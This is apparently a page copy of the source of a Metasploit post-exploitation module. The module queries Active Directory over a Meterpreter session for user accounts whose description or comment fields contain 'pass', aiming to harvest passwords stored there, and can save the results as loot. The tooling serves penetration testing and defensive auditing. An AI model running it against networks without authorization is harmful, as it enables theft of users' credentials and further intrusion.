Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/gather/enum_ad_user_comments.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Auxiliary::Report7include Msf::Post::Windows::LDAP89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Windows Gather Active Directory User Comments',14'Description' => %q{15This module will enumerate user accounts in the default Active Domain (AD) directory which16contain 'pass' in their description or comment (case-insensitive) by default. In some cases,17such users have their passwords specified in these fields.18},19'License' => MSF_LICENSE,20'Author' => [ 'Ben Campbell' ],21'Platform' => [ 'win' ],22'SessionTypes' => [ 'meterpreter' ],23'References' => [24['URL', 'http://social.technet.microsoft.com/wiki/contents/articles/5392.active-directory-ldap-syntax-filters.aspx'],25]26)27)2829register_options([30OptBool.new('STORE_LOOT', [true, 'Store file in loot.', false]),31OptString.new('FIELDS', [true, 'Fields to retrieve.', 'userPrincipalName,sAMAccountName,userAccountControl,comment,description']),32OptString.new('FILTER', [true, 'Search filter.', '(&(&(objectCategory=person)(objectClass=user))(|(description=*pass*)(comment=*pass*)))']),33])34end3536def run37fields = datastore['FIELDS'].gsub(/\s+/, '').split(',')38search_filter = datastore['FILTER']39max_search = datastore['MAX_SEARCH']4041begin42q = query(search_filter, max_search, fields)43if q.nil? || q[:results].empty?44return45end46rescue ::RuntimeError, ::Rex::Post::Meterpreter::RequestError => e47# Can't bind or in a network w/ limited accounts48print_error(e.message)49return50end5152# Results table holds raw string data53results_table = Rex::Text::Table.new(54'Header' => 'Domain Users',55'Indent' => 1,56'SortIndex' => -1,57'Columns' => fields58)5960q[:results].each do |result|61row = []6263result.each do |field|64if field[:value].nil?65row << ''66else67row << field[:value]6869end70end7172results_table << row73end7475print_line results_table.to_s7677if datastore['STORE_LOOT']78stored_path = store_loot('ad.users', 'text/plain', session, results_table.to_csv)79print_good("Results saved to: #{stored_path}")80end81end82end838485